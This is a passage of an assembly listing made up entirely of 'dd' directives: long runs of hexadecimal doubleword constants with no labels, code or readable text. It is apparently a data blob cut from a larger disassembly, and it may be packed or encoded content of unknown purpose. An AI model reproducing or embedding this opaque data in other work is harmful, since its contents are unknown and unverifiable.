4DCFBBDCh, 0D16DA033h, 3AAFBCE1h, 611AECD9h dd 0FD54906h, 74C3B288h, 700A3A3Fh, 5EC53AA9h, 0A217642h dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0BC1B5EBFh dd 398FF46Ch, 0DA08E445h, 1F7C158Dh, 6BCDED0h, 74E31B42h dd 42DFF7D1h, 1176468Ch, 0CECC996Bh, 29CF8C14h, 0D0995699h dd 4E351048h, 4D09FE05h, 0D7032908h, 10641550h, 62CDF33Eh dd 6138F2EFh, 0A9F66AEh, 58ED3BFEh, 59826AD2h, 0E9BD5142h dd 0C9030089h, 0FB4EC33Bh, 0E5550B49h, 0C41426A8h, 28993918h dd 42C8500Eh, 9FAD3E25h, 1EAC2AE6h, 0BE2A1F4Fh, 8B0CC867h dd 0E76EF787h, 0AEF09444h, 1369BD54h, 5C82F656h, 6BC7B230h dd 5105DAC4h, 96286AE7h, 73263917h, 10C485FFh, 9A32525Fh dd 948776CCh, 0F24EAC38h, 89F95B48h, 0ED79CC2Fh, 107E56E1h dd 4E1C86Eh, 0B65B68F3h, 697B9D21h, 4814F84Bh, 0EE0530E6h dd 0B1C68B07h, 0E1816B6Fh, 78CC4AFFh, 950AFA09h, 0C3EC7964h dd 0C3EC524Eh, 6FB389D6h, 0EC3BCCA1h, 9E83A47Eh, 0F69E5FBFh dd 102567B2h, 23980644h, 196CFDF8h, 0E7C7F4D6h, 8532D595h dd 0D7F08F02h, 644E7F0Ah, 184DD14h, 8D1E89BAh, 0FEED90Ah dd 1540F19h, 0E896AA8h, 963EE576h, 55F8C35Dh, 21CC725Bh dd 0A62E712Dh, 550C2070h, 58C9535Dh, 0B9B2AAEh, 0B8F15018h dd 0F1A50B9Fh, 27229A1Dh, 0FEE0F981h, 0D6E32F50h, 199D2022h dd 210A8E1h, 18814C09h, 570E3148h, 0A84096E9h, 64809A2Ch dd 11DD9D28h, 3810E29Bh, 9AA5500Ch, 0B895B28h, 70B17A9Eh dd 6BA3A209h, 21189098h, 35D025C9h, 53C03309h, 35407456h dd 0DD1BFA15h, 5B4CB412h, 8A770C0Eh, 0C1F6101Ch, 7F0D74C9h dd 8FDA8893h, 5809C000h, 0ACE4B704h, 93441284h, 158B9883h dd 12CB8402h, 4BCD9188h, 8E4614D2h, 2FE2957Bh, 19901331h dd 0B19AFCE2h, 0E3026A22h, 8050303Bh, 0CB23D1F7h, 4EFE283h dd 0B04E1C1h, 710FECAh, 0B32D4184h, 7783352Ah, 36BEE726h dd 7B173068h, 3364E9A3h, 0C17CFB2Eh, 2303E908h, 0ACFD10CFh dd 0FE60A105h, 2201755h, 2AC3846Ch, 1FE90774h, 0A0C4983h dd 0CF0B04A8h, 8F42FBFEh, 31FB7404h, 79091706h, 2020D3EFh dd 58514515h, 0C3B9E1B0h, 23BF00FDh, 3D3474C1h, 0BB3A6B9Dh dd 80E221Fh, 42F00C4Ah, 8347CF28h, 0CB5D03A9h, 0B659DD00h dd 0AF1CFD8h, 8F020C4Dh, 20A8D6CBh, 4220F845h, 0BE0321FCh dd 3EA60240h, 20042242h, 731AEBE3h, 4C9E9E7h, 0D4D0BF5h dd 890F0FE6h, 144D8350h, 5FEBF481h, 0F101264h, 0E267052Ah dd 0EAFE071Fh, 821B22D3h, 4879279Eh, 0D0E35E6Ch, 1D63E6F4h dd 2786DD18h, 105458EAh, 0ED86501Fh, 1C7DEC0Dh, 191144D0h dd 403E07DDh, 7A251022h, 2E530EC9h, 153CC7E3h, 3A427094h dd 0E440F61Ch, 83030304h, 137DFE26h, 4FB4484h, 2F74484h dd 84EF1584h, 0DF281A58h, 0FFBA16A7h, 0E16783F3h, 1CD21A59h dd 16D94925h, 75D80906h, 4E80171Eh, 18920901h, 0E507890Fh dd 8CDB3FBh, 100A2AD7h, 78B658F7h, 213402F8h, 0D1AE6C16h dd 4207E1B6h, 190F1334h, 2A8C1662h, 234A12EBh, 248CA67h dd 9230795h, 0DD5A1C03h, 1FA57940h, 91379477h, 57530939h dd 0E7091CD6h, 0B4B28A1Fh, 14745B01h, 0AB425D84h, 0EE6EE40Fh dd 2C5964ACh, 0D6BA0F7h, 13D8F449h, 701BF616h, 0D56A9B0Ch dd 1AFB1A62h, 0E4F5FD8Bh, 0E03DD3ECh, 15CFC8EAh, 8922146Ah dd 7FE012B8h, 0C8236A03h, 24883022h, 66E8F981h, 0E9A61058h dd 303B2831h, 8C7F9085h, 104DD82h, 78601DDCh, 5822A87h dd 978BD8F0h, 771D66D0h, 9C7ED902h, 5EFF45Dh, 202D6E41h dd 876358Dh, 0EB27DA4Ah, 28482D8Ah, 232E46E4h, 8A46BFF0h dd 0E079701Eh, 19949D0Ah, 9DFE21DAh, 3E8825A8h, 0FC32CEDAh dd 55F8D73Dh, 664CCB49h, 0CA07F325h, 48300ADDh, 8F46EC71h dd 56255F8Bh, 453D35D7h, 0FEAB0F07h, 0C90CFEC8h, 4098D59h dd 0FD80F5D0h, 0CC5FBCEh, 66C6097Dh, 0EB2BC58Ch, 73433854h dd 0D34A39B8h, 12D202B0h, 0ACFA458Ah, 5B4E4C0Ch, 0B813A9A9h dd 40FAB103h, 2B1F7D2Bh, 6084C134h, 9EE83EC5h, 7BD18144h dd 0F81CCF6Dh, 21CCE1D7h, 8B18BC02h, 0DAE37548h, 0C799D028h dd 18A221A4h, 6055B3EBh, 6A32125Eh, 0FDB52810h, 8A4BCEA2h dd 7D453EDh, 4A6A0B8Ah, 0C0EFC517h, 5FFF85B9h, 92E15B5Eh dd 5FA6A73Bh, 0EE5873E2h, 0BC51C425h, 2A74E40Dh, 0FB566492h dd 29146322h, 752B11AFh, 25BFC47Fh, 0D19681Ch, 7587FA28h dd 0E02B6F20h, 241F86D1h, 10B011E7h, 0EB595DF6h, 2D38923Ch dd 0C82AA48Dh, 9E280EDFh, 0F84FA359h, 3C647484h, 9C632A57h dd 2036349Eh, 97BCFD59h dd 12254BB8h, 7F42CDFEh, 58C57D15h, 1ECBC392h, 0C933097Bh dd 0C42908B8h, 0B03BC684h, 0E4E74C1h, 3D413FC0h, 0EDD344E0h dd 1BD9FA9Dh, 190CCD04h, 97598AC3h, 6A0B7E7Bh, 0AC16EB05h dd 0F0011098h, 29FAF10Eh, 8F061987h, 58031198h, 0DF13C35Bh dd 0E7D10AB0h, 498D2Fh, 0FCD90885h, 0A7FAF997h, 0BD34CE5Fh dd 890EE861h, 54FE0531h, 0D3DACDBh, 3A41800Fh, 0A40B17C3h dd 0B2FEA892h, 81BE8229h, 0F0F8687Dh, 9751F7Fh, 5908DD39h dd 483CD716h, 818CFF12h, 95852A75h, 0D17FF8B8h, 2166C8BAh dd 0EC27ACDCh, 0F9A41719h, 0F7136B89h, 1615B90Ah, 670CA807h dd 25B7459h, 765D586Eh, 95523A38h, 562C62D2h, 0A0892D6Ah dd 90084409h, 89ADA483h, 7066110h, 0E647466h, 0F326583h dd 57024D11h, 32BE33B9h, 736F6448h, 8CC1F9EAh, 0C3105EF6h dd 0C65D1DEh, 800B1212h, 683030Bh, 0A1A0116h, 0E7EB4E08h dd 0E963B89h, 4899ECEFh, 64E4915Eh, 0CECB5182h, 0F9DF2834h dd 16272BEDh, 91968B46h, 0FE0EA8E4h, 25662804h, 0BF0F04BEh dd 89EE81F0h, 42345526h, 5E308918h, 9B7D444Ch, 38FE7D35h dd 980E2C10h, 0A5E2DB1Bh, 1356270Fh, 0BD08FE25h, 0D723C812h dd 0D44D5769h, 1510AE0Bh, 0EF6D39E4h, 659C9147h, 0F624AFD0h dd 0A07B0C1h, 58892DDBh, 0FC5DECD9h, 9D0D9C9Bh, 84D8A810h dd 0E6838B12h, 0B26C961Bh, 129A1449h, 719A445Ah, 0DE3FE8E4h dd 1DD8B4F1h, 0EBF984A1h, 81971944h, 38406309h, 0A44C010Bh dd 1B596587h, 192CCBD3h, 1F247017h, 68950097h, 0C8F0094Ah dd 75DC9F39h, 64DB3F9h, 6E187F6Dh, 1F721EE8h, 6476D758h dd 7A2BE6Bh, 0A19A5351h, 32FF5C94h, 0F1597050h, 0AC1F78B4h dd 10C42987h, 24385036h, 0B9B0C3D0h, 3E10142Dh, 0FC97BE0Fh dd 0E00C691Ah, 2C4F74F6h, 3269148Eh, 1FED14D9h, 0D3A8A32Bh dd 49D4474Fh, 0ECFB7A0Dh, 7B0EEC06h, 0BFEFE746h, 0F20CC1F6h dd 75C91684h, 0DF0CA8F3h, 301E15D5h, 0C742408h, 0F1CA743Ah dd 660148E8h, 24F43D40h, 2AD50FDFh, 800D0619h, 0C93465F9h dd 5B56450Ah, 770FED92h, 30386748h, 8749FAB7h, 8AA10114h dd 0C2B4011h, 0F61688CAh, 0EBC24EAAh, 7293A2C5h, 0FFA46EADh dd 0E681DD52h, 0B87E1B74h, 3D0282E7h, 0BF0C0428h, 5D6DD7E5h dd 12A2FC22h, 232F1B55h, 41BF5536h, 2580CD4Ch, 8C765C3Dh dd 0EC005D69h, 58A1105Dh, 0C4161BD2h, 0DB0354B8h, 51C19F0Fh dd 3183142Eh, 0A63C8D2Ch, 623E0103h, 4891157Bh, 998B3806h dd 938C2074h, 0F93D0D75h, 565E966Dh, 430A0EEDh, 0D925001h dd 0DB633E83h, 3417244h, 0CA50D072h, 0F8B53D39h, 35146D32h dd 0C66530F9h, 8940E1E1h, 24147E3Ch, 7FBC570Dh, 65088812h dd 0B1A9A144h, 0A0687016h, 0D38E251h, 79039549h, 4ACB93C8h dd 4B4FF883h, 0B8444AADh, 7E2690C8h, 0F0454BC6h, 279141CFh dd 5E403C1Eh, 5794B04h, 28DB64F7h, 0FB92802Dh, 115E7C64h dd 99D80BA1h, 0FEF7245Eh, 8D1437BEh, 90DAFD0Eh, 0A3DD0A2Fh dd 0A9EA986Dh, 947E6A8Dh, 0E749701h, 57561004h, 60A19681h dd 0ACC121AFh, 2235D11Ch, 0C33B040Eh, 8924775h, 8F031A3Eh dd 2B58BCDh, 608030C1h, 0DAEBAA61h, 26149549h, 0CC6ADB0Bh dd 12460C88h, 2DC30304h, 0EEC5ED0Bh, 0FD01024Dh, 45C60775h dd 17D8D00h, 0E3E04FD7h, 49C99010h, 0C6835B57h, 47A23007h dd 0F80312E0h, 41561D92h, 5AC84E16h, 3609F59h, 47770476h dd 7DF6850Ah, 0EBAF28h, 0EBDEF715h, 3B08CE06h, 0F6FC7CCBh dd 9D2D5314h, 74306ACBh, 5F14E04Eh, 6C9DC58Bh, 927F95A6h dd 7A82482h, 0D8A4A328h, 49054197h, 0D49D16Fh, 54F32360h dd 534950E9h, 0F18B82EBh, 46B29A56h, 2A97D00Dh, 0F27392Ah dd 88C19C0Fh, 53D642Ah, 0F8480440h, 15A3289Fh, 23217C24h dd 0A51D7D09h, 7820ACAh, 0ECEF646h, 0FEC520F9h, 0D094E853h dd 0A71D2E94h, 56A2784Bh, 40791214h, 0F79E10F6h, 0C6B3C84Bh dd 9FCEA405h, 2C05AFBh, 53807912h, 0FD4FE625h, 270C8A61h dd 0D152DC53h, 5D7D1311h, 2CE6FE23h, 46107D2Ch, 610D321Ah dd 0D862C47h, 0E9137566h, 4D42D19Dh, 0E54FB75Ch, 163918D5h dd 0EBEB5BE8h, 0F46D135Bh, 7D52A7E7h, 0D6856126h, 9E1F1A5Ch dd 6381F66Fh, 3E95040h, 0C60B41F7h, 0DC49A770h, 803E6DD3h dd 20BF577Eh, 13199305h, 0AF743E39h, 65A4D165h, 0A0665B04h dd 0C3ED7EDDh, 78576FB2h, 69750587h, 2656FF6Ah, 18314766h dd 56EB7FFDh, 50C03EBEh, 63388102h, 0D5E06D73h, 1478B560h dd 2688982h, 5F084973h, 0F1D9A00h, 243455B6h, 0FDB05E52h dd 0F8564E1Ch, 0C083A50Dh, 20740AD1h, 4C181FEBh, 1BA52406h dd 5116B1B1h, 3CF13DADh, 1852312Dh, 3B800C01h, 5F4020E4h dd 85E3F808h, 0DD07CF0h, 78413B18h, 9FAAAC04h, 0BB52B4C4h dd 27C34780h, 147E11Eh, 0FC9A1604h, 58563F1Bh, 0A4DE75A1h dd 4B58BEEAh, 0B7682208h, 111B66C9h, 1BB46CA1h, 4785E1D0h dd 8CEC37BEh, 804A3F97h, 56096BC9h, 84F94603h, 0B443877h dd 0DB1E2834h, 0D114C88Eh, 451245B6h, 0F0A420C8h, 47995697h dd 345745FCh, 6491ABE3h, 8032D3C4h, 0AC77D827h, 378D1EAAh dd 0A3633A9Ah, 7BE97C7Fh, 7F77D504h, 0D7BED084h, 0CFE369CFh dd 7EF41013h, 3F50A1BCh, 4A86B840h, 10DF178h, 207EF812h dd 2790762Ah, 84D93749h, 0F8F3A018h, 30D81A25h, 3909419Fh dd 0E17F3E8Ch, 92F7F416h, 0A5E91082h, 0EBC2137Dh, 5496FE24h dd 53202A0Dh, 96818A35h, 19564460h, 0AA2CB140h, 6B9155A5h dd 93D2C14h, 29802117h, 0CF60ADDh, 1D251F20h, 22467526h dd 88421583h, 0EF14B4Ah, 1712471Eh, 0D5C523F8h, 0FC1D8112h dd 4C3DBD8Ch, 4A96C870h, 0C435217Ah, 10B6FE18h, 0FBAAC3C4h dd 4F730A33h, 9185AAFEh, 0F021243Bh, 4F73F887h, 437C3E51h dd 7F7C61E6h, 24A27DDEh, 19D0104Eh, 5A980374h, 757F44Dh dd 8798006h, 85397E0Bh, 25F0C083h, 0ED0ABE6Bh, 32FA6F50h dd 0C6E710EAh, 0A9EB2714h, 0E87114D5h, 64A19D47h, 8E78804Ah dd 9E508D8Ah, 0BFC4156h, 0F1044E84h, 4B4347A1h, 0EB526085h dd 2205EBCBh, 870206F6h, 4A07560Fh, 3AF6D197h, 1A82870h dd 90ACF0Fh, 1DA4303Bh, 0D5047549h, 75491F51h, 78A82A98h dd 650CE487h, 735C4EBBh, 0E475497Eh, 0AF43A877h, 55557409h dd 57ADE70h, 0A5CD774Ch, 47F623AEh, 0F0444814h, 680C81A5h dd 0F86B0103h, 276694F0h, 0E0C077B0h, 0D4951AEBh, 4BDBA0AFh dd 90B0AC9Bh, 55936813h, 3706A434h, 3AB7F034h, 0C6E9A6EBh dd 641F21F4h, 75EB0D13h, 0D237BEA2h, 57A7320Bh, 0B9946512h dd 206C3690h, 9F1C82C2h, 2A17364h, 0F9A83FFFh, 621BC9D8h dd 2C1D919Dh, 2F1F72C3h, 0F7D5703h, 35EA9340h, 36744928h dd 73576F31h, 2094A09h, 0A5597568h, 89402805h, 73CA861Dh dd 10941E0Ch, 2C1AC449h, 718F412h, 40505728h, 59BC6A4Bh dd 0F78B8E1h, 0F5C91CC8h, 6AD49411h, 5EDC7AD2h, 0AE4E9794h dd 450B5113h, 20C7130Dh, 6C43E412h, 4472E025h, 39153D51h dd 1615420Fh, 2AADFC5Dh, 95666496h, 97C8BF1Eh, 0FA314BC3h dd 41D44B4Dh, 9D083C49h, 0BF0A9FF2h, 64B0FA2Dh, 0F286381Bh dd 5C8028D6h, 185F9DAAh, 9592C5BFh, 0CF94EF56h, 6C8F4292h dd 2DD878EEh, 67824689h, 7FAFA3E4h, 7E14E0CFh, 883F8112h dd 832E270Eh, 219F3C7Fh dd 97142EBBh, 3914124Ah, 13647EC5h, 22BBD40Ah, 0E2F7C55Dh dd 0AD6F6ED1h, 0CDFCAF9Dh, 136D7819h, 0A63B4FBh, 4F881E4Dh dd 36522739h, 526565D0h, 412D02FFh, 8858D604h, 0E9240175h dd 8B6B144Ch, 45842A7Ah, 17E83960h, 0A7A8107Ch, 0BF3F68Fh dd 0EA7744E0h, 9E0BDDC1h, 88D079Bh, 98A53027h, 0A49C3FBFh dd 3A1E4512h, 0B2F61E5h, 2B121488h, 8D6D9846h, 4E222238h dd 26642C6Ah, 1E1D2631h, 4C5D1452h, 0E4477323h, 0AC955408h dd 0C914E0E4h, 8C6C574Fh, 0FC7E8D81h, 85310F04h, 78B33BEh dd 29B42342h, 5608BC80h, 34CE97EBh, 85561518h, 582C3A75h dd 748D8F8Ch, 3406A97Eh, 579D8EFFh, 0EB156050h, 74C53A66h dd 48363C56h, 0B850FAAEh, 0C5A13B0Dh, 0AD1CD504h, 52A8F040h dd 46DA4750h, 0A5C2AA18h, 1A1FEB29h, 0B3EB9ED8h, 0A496A6C4h dd 0BFA9FA52h, 0F4024C18h, 0C4930E70h, 51F8E010h, 95F932E3h dd 1B7413ABh, 89044B88h, 5AA2211h, 1870FF51h, 0AD626950h dd 0E381D20h, 950F0C45h, 8D8767D4h, 0C0DE0B75h, 9EAEF1ADh dd 451C001h, 0D285C603h, 200D7C2Eh, 1F9E321Bh, 0DC0E0C22h dd 0F9C196CAh, 530482F4h, 47C57F51h, 0CA55ED32h, 7D4044B8h dd 0C6D5C56Dh, 0FF8D061Dh, 0DDFCC0D0h, 5E295D6Ch, 23E6B5EBh dd 0B905750Ah, 2248AC02h, 0FC595D8Ch, 0D60C57C2h, 11F0F023h dd 0A8830BFEh, 737674A1h, 0A18A1665h, 7EBD009h, 3ECB1F14h dd 1E9739C7h, 3F5368DEh, 2156A4D0h, 0E4547908h, 0D44411A1h dd 4284AC43h, 65A3891Dh, 0BA56AFB0h, 0D724FF69h, 0CEA3EF19h dd 0E917D712h, 0DEF15BCEh, 9F81C61h, 78384CEBh, 23C2730h dd 0F4951F75h, 94D76B81h, 0BBC6958Ch, 600907F9h, 0BD11EB94h dd 4C42A37Bh, 307F0B70h, 183B5351h, 0C5D14005h, 0FDE37357h dd 0E257CAC8h, 0F2645F88h, 10853C72h, 2131220Fh, 0B6B5056h dd 58A17652h, 0EB9D4FEBh, 0E5B34E86h, 3EEC6B52h, 4835EE97h dd 239BDBBAh, 0DBC1A709h, 0E8E42F07h, 448D37FDh, 0BEC3B50Ah dd 0F25BF26Ah, 4BD596E7h, 1077C591h, 0AE17C57Eh, 35D621Fh dd 301A1075h, 0CC3AD730h, 0F5364FFh, 578B5B7Ch, 0C2F76640h dd 0EEC20108h, 4804472Bh, 0D2F6203Ch, 854FAAD0h, 4DD9EFD8h dd 0F3A68C2h, 0D6EF2933h, 0FAC1DEC2h, 1FE3DD83h, 99514D1h dd 4DAD800h, 28743F80h, 4F3BD11Fh, 3A212273h, 3E03750Ah dd 0EB42F4C0h, 7D62DFF1h, 1CD412A7h, 75512BD2h, 0A46858EBh dd 89BF0E46h, 57010C47h, 0F634C971h, 10D2F883h, 0C0552132h dd 3C12BEEh, 9327B4C2h, 3B2FAAC6h, 6AE30632h, 0F48C29DDh dd 68C22161h, 1DA73EC0h, 3B4D1427h, 7382E2D4h, 9B38800Bh dd 2140F28Bh, 0D9200D47h, 0FC2F4234h, 0C3B832B1h, 0CBA3FBADh dd 0B770816h, 45DC4F28h, 725D0544h, 845847C2h, 0A06749FBh dd 279A421Eh, 8D2D2958h, 0C2DAB8F8h, 0A153F548h, 0FA42DE6Dh dd 830F300Dh, 324E794Ah, 0B5F14AC1h, 9C44BD5Ch, 8957EB89h dd 0F5FF3345h, 0F865B852h, 30EBF006h, 0A32202D4h, 7E5F899Dh dd 51570A5Eh, 644C53CFh, 910C5BC3h, 0E1C16480h, 20B2A9A6h dd 48858333h, 86168966h, 88AEE7h, 912782FBh, 2FFB3A2Bh dd 296FA850h, 8A40F817h, 0F9801B09h, 141CAA0Ah, 9628C6F0h dd 20FD8851h, 95508D8Ch, 0CA5A2B2Ah, 147C408Ch, 3CF88BCCh dd 0AC172B8Fh, 8B0ED0C3h, 0E4C2D657h, 437431F0h, 1F4E68Ah dd 0C73B05F2h, 6FFBAC7Ch, 147DB0CAh, 0BA8A7210h, 0F14A07Dh dd 379EF85h, 9748C40h, 58056A5Fh, 4C754322h, 0A3177A67h dd 0D4D0B4B8h, 0CABBA026h, 0C7EB814Dh, 44F44D8Dh, 42ADF6DCh dd 0A20B8865h, 0F844C2D2h, 2D94A7EBh, 497A9C59h, 0DC3DCBE7h dd 85406438h, 3815E41Ch, 0CDA8C0BDh, 11ACA2FEh, 89111C6Ch dd 0EB6D413Dh, 0F0A04216h, 2CF6B7F5h, 3E28C456h, 517C294Eh dd 74783D96h, 467E75ACh, 5B7D00BDh, 0D3206853h, 9A20B863h dd 449D053Eh, 0AC0AB264h, 0EB08241Dh, 8C423022h, 1CA94CB8h dd 9C010D48h, 7E440122h, 18022009h, 4B7E141Fh, 1A60FE10h dd 9CCC2402h, 54451F38h, 67581EA1h, 0A6E21D89h, 49C8C3D3h dd 4F59E946h, 2AB8A238h, 206945D3h, 4D4CF432h, 0E842EB7Ah dd 1FC54F2Fh, 9D535EFh, 0F0EA50DFh, 95C4E475h, 3BE49A48h dd 0B1E3DF4Ah, 1312BD4Bh, 9AA1B04h, 0D7492434h, 625AC2B5h dd 0DC84C465h, 132554B2h, 0D05F2932h, 0E6128B6Ah, 89D0DE72h dd 0EC586674h, 0A36249EDh, 0F5A25844h, 1BF24D68h, 44C4A648h dd 79608B4Bh, 0F7023BD8h, 45F63274h, 4025C10Dh, 0F21C7E99h dd 823B12B2h, 0B21E7FD6h, 0AB333CDBh, 0E3AD9D22h, 65C0F04Eh dd 0CE79C84Bh, 0B440C676h, 0DC148F36h, 0B4E029D4h, 25B71290h dd 0FDB336DBh, 0B474DF0Ch, 0AFE4CB56h, 9C748A68h, 31B4A090h dd 0EB080475h, 0A88D5906h, 25BCF52h, 88151E30h, 97C0A471h dd 0F6F3B072h, 23C643C9h, 57E94F72h, 8458C75Dh, 4A8D5601h dd 6E0D74FFh, 3ED13494h, 0C6E49F1h, 5E1BF331h, 2B6405ECh dd 0B2AFC33Fh, 98532DD9h, 0B53826EAh, 2091F774h, 5F59AC5Ah dd 1530B0ADh, 5FB8317h, 60A98FA3h, 0C475C208h, 354ACDBBh dd 0F6F93422h, 0D0BC7B1h, 0B2C2649Ch, 0AA0C76A5h, 27A45C0Ch dd 4C2579FCh, 0C00D2D4Ah, 153066DAh, 0D1030DC4h, 0CA3B1E56h dd 348DC37Dh, 0AD62B49h, 2750B534h, 0C6DB40EBh, 0F7754A0Ch dd 35488B62h, 0F93D25CCh, 45504AD2h, 8383300Dh, 523D70EBh dd 81C81390h, 913D5D41h, 484210Fh, 3C933D4Ah, 37108485h dd 82F28D3Dh, 433D2410h, 4186C88Fh, 8923D11h, 8A448C0Ah dd 9F89A6FFh, 0D34CEF50h, 0DC0B45DDh, 48FBEB5Eh, 25D751FBh dd 0E4A3370Ah, 925F5449h, 15A22109h, 5B9F2440h, 2CB25D4Ah dd 89C8ED40h, 88F33139h, 45B8560Dh, 5FEE2474h, 0C01721ECh dd 73C67000h, 1E103904h, 8D8DF575h, 0DA085E49h, 0C13B1682h dd 0E1741384h, 6ECA3E0Bh, 182024Fh, 86F70DFBh, 9D1F8CB4h dd 75224360h, 0FEFC254Fh, 0FE10D672h, 0DC117C22h, 70A22595h dd 0EA72E73Fh, 0F846E627h, 443E6602h, 0A07100Dh, 676203Ch dd 77D81AFDh, 536AD9FAh, 0E9219204h, 0AB4BC7ADh, 4C5BE050h dd 625C43D8h, 9BE34B6h, 3A50780Ch, 1274C307h, 1423D3Ch dd 65597447h, 0BEB0AE59h, 0B430F7EBh, 0E66FE5BDh, 88AA4B76h dd 0A90F3D3h, 0C1650469h, 29890927h, 805C9D2h, 3842003Dh dd 5539741Fh, 8B3A5754h, 451859ECh, 22943F80h, 0A2799F55h dd 2F290645h, 9F36E530h, 0EEA88979h, 330047Dh, 0C97570FDh dd 85FF535Dh, 0D60DBC5Ah, 760C8210h, 50391E58h, 0EC9F9088h dd 0C35B2762h, 3C863AFDh, 0A0BE34BEh, 0DCF2BB59h, 89D1BD4Eh dd 42A12A1h, 8B4414A3h, 9384EEFEh, 0AD1C84FFh, 0F153C99Ch dd 25280990h, 0D981EA66h, 4AD54A88h, 0D704FAA1h, 23A3A25Ch dd 4B503630h, 5656867Bh, 1FF45B36h, 0D0B6DD48h, 0A39D40BDh dd 5B0FF864h, 0BCD964ABh, 7C142DD4h, 0E6211A57h, 79545CC2h dd 0D6B6C794h, 50FFF592h, 0C4374B53h, 0DF49BFDAh, 449C0038h dd 7901508Ah, 0BFFA4840h, 4479292Dh, 56FDDEBAh, 13E0BD2h dd 718A0Ah, 1688108Ah, 0CA94046h, 54EB0CD5h, 9D040DCEh dd 18E5BF63h, 43EB3A41h, 560512A9h, 40670A1Fh, 83E4DA8Ah dd 18349369h, 0CD6715B8h, 5D09B420h, 75721237h, 3840ECCh dd 44BCC448h, 0FAFF664Bh, 1618EC0Eh, 0B708F653h, 0A8AB4E0h dd 2728052Ch, 181628DDh dd 0BD46C811h, 14558B83h, 10D502F3h, 8694D8D1h, 0C25C4665h dd 625F407Eh, 2C9311E3h, 84C2846Fh, 18F5B497h, 787C58BAh dd 0E48D2228h, 49063CD6h, 5F7003EBh, 7BF9A508h, 0F18D6C0h dd 0C0C27E94h, 8BEBD10Ch, 2BF4BD3h, 90430E8Bh, 2806C689h dd 0BFB2465Ch, 81824778h, 834AA823h, 0AF88070h, 3F458BA4h dd 5E6E3AD5h, 532ED93Fh, 24E34F19h, 1CCA2006h, 418F0FC4h dd 42D0336h, 299174EBh, 9B3122E7h, 281F1520h, 309C8DFh dd 8F2B2783h, 76AB2B75h, 2E82AD24h, 500BBFA4h, 302D265Ch dd 83E1A833h, 8BF692D2h, 0C95350C1h, 4A5DD50Ah, 5A17CBA5h dd 2656F644h, 34115928h, 0A022BB5Bh, 441C28EAh, 2ABF5802h dd 44CD96B6h, 444A5281h, 504C400Ch, 396688C2h, 40741E58h dd 85E340ECh, 0F9751812h, 2BF20720h, 9FF49DC6h, 61F8D142h dd 6A4408Fh, 0FF08345Eh, 0FF349380h, 0B36B0D7h, 3274EB3Bh dd 2AD6331Ch, 3A230B0Ch, 0FAF2BF55h, 444DB4F7h, 4B18E9BAh dd 28DCDEC4h, 8B14CC5Ch, 9FA15609h, 27C30838h, 792553EBh dd 86A6104Ch, 7485B243h, 8461873Ch, 6787AAC7h, 83F6F87Dh dd 0F72BF605h, 0CE87D6CDh, 1BFF83D4h, 0F55ECF1Ah, 0BEBF605h dd 7F56BB82h, 84258453h, 0BB503CF2h, 2832BB4Fh, 1DE87D5Bh dd 7A9744ECh, 179297F1h, 9250AC5h, 1B33843Ah, 0A416C564h dd 23BEC70Ah, 0EAB42044h, 572AA286h, 801A9340h, 0E0EABFh dd 546C6B7h, 24A1510Ah, 0A8CE1E2Ah, 0E2EB151Ch, 0B94FE28Dh dd 7C6689F2h, 0BE0C3445h, 1C4A90F2h, 6EA5A7A6h, 300C05B9h dd 0B8DD838Dh, 4B8F0882h, 0B82E1C45h, 39287754h, 7D0D6435h dd 9B44BF52h, 15D900Eh, 80833815h, 8D078981h, 0C17F5088h dd 80221873h, 40084060h, 970F8B80h, 0C1549072h, 0D69AE47Dh dd 7C254A84h, 8A2ED0BBh, 0D2FC880Ah, 89467E0Fh, 0BDA35D03h dd 205E8A36h, 0A2E4BD3h, 0B75080Ah, 8D2493A6h, 0C7D1437Ah dd 4F55CF92h, 0B0CBD43h, 88610889h, 470E487Bh, 0A1C38345h dd 0BA7CFE3Bh, 0ED185131h, 0FFD80E3Ch, 758F348Dh, 81DB8544h dd 70810401h, 0F6256AB5h, 27ABD058h, 0E09348C3h, 0B324F593h dd 8D6AA928h, 57177485h, 550C6772h, 89244F44h, 641D13Eh dd 0C26F4E80h, 0DA540F9Ah, 8170A99h, 0F20DF6EFh, 0FB830243h dd 0FF9B7C03h, 6E22B99Bh, 1ED6B52Ch, 80AA4445h, 3243567Eh dd 7358303Ah, 1D222AE9h, 0FC2F2F08h, 0C95E5D49h, 7740F78Bh dd 0AE415D12h, 22AA1482h, 2F2B1088h, 44438CEFh, 87B8073h dd 3D3A72B7h, 76248D61h, 0E08F1690h, 563E4527h, 106B0655h dd 321854FFh, 0B855E5Dh, 78339981h, 524DA73Ch, 50C533ACh dd 3D2A04DAh, 92400D56h, 6A6FCF08h, 8FBE0B52h, 8F571A77h dd 0CAC391Fh, 51FA79BFh, 34D91B7Bh, 6BA1EBE8h, 0BD74F1B8h dd 0CA58D83Bh, 6A0A5D15h, 5DE540FFh, 72EE1756h, 0F15C550Dh dd 8C29BDBCh, 8501C41h, 255CE918h, 0A198A0C2h, 4A65B63Ch dd 4F0D169Eh, 3D222A12h, 16FEAE44h, 68218D3Ch, 0A23F7FFCh dd 0A8A116B4h, 0FF59A04Bh, 649D56B3h, 0F1A3EB16h, 2F64A427h dd 0B8D302BDh, 987472D8h, 0E20B4A65h, 0D5681115h, 0C056F117h dd 3B03E6DCh, 411B9651h, 4011C27h, 36FB6D64h, 0D47E3EEh dd 0C51EB84Bh, 7619FA81h, 8D10F118h, 5F9D5C85h, 0F695EA3Eh dd 8F1848C3h, 0EAF77C14h, 1340608Bh, 0BDE1FF57h, 0C9B80845h dd 3CCC59CCh, 1A297629h, 34C55527h, 835C0E20h, 36A1C1Bh dd 10689A7Eh, 53BBDD85h, 4CE2BEE5h, 7BF4680Ah, 4511C856h dd 79A6EA57h, 85F01E44h, 0B68AA01Fh, 0D7AFD4DCh, 24D91294h dd 9BDA209Eh, 90C8DA11h, 61400228h, 5F2CB429h, 39FC2AEBh dd 6A31A973h, 36FF2E89h, 0F37DEC5Dh, 0B136F4F9h, 69E3BE7Bh dd 9F4BC475h, 0B7B4B2D0h, 90B9F609h, 9D018BF1h, 908DB1E8h dd 0C2847FB1h, 0E3A81C73h, 50F5ED4Fh, 0F159EB61h, 582B3E86h dd 0F8125F3Bh, 543AFAB3h, 0F330B0FDh, 588120F4h, 0C5C287F9h dd 8DF943EBh, 3359CFA6h, 2E3D211Dh, 55442FA3h, 0AF96E989h dd 11D66814h, 0FD60388h, 0E7C1E8EBh, 0FEDF13BFh, 9BB93217h dd 0B0795689h, 52735784h, 0FFEDAFBCh, 848431E2h, 2ACC9D36h dd 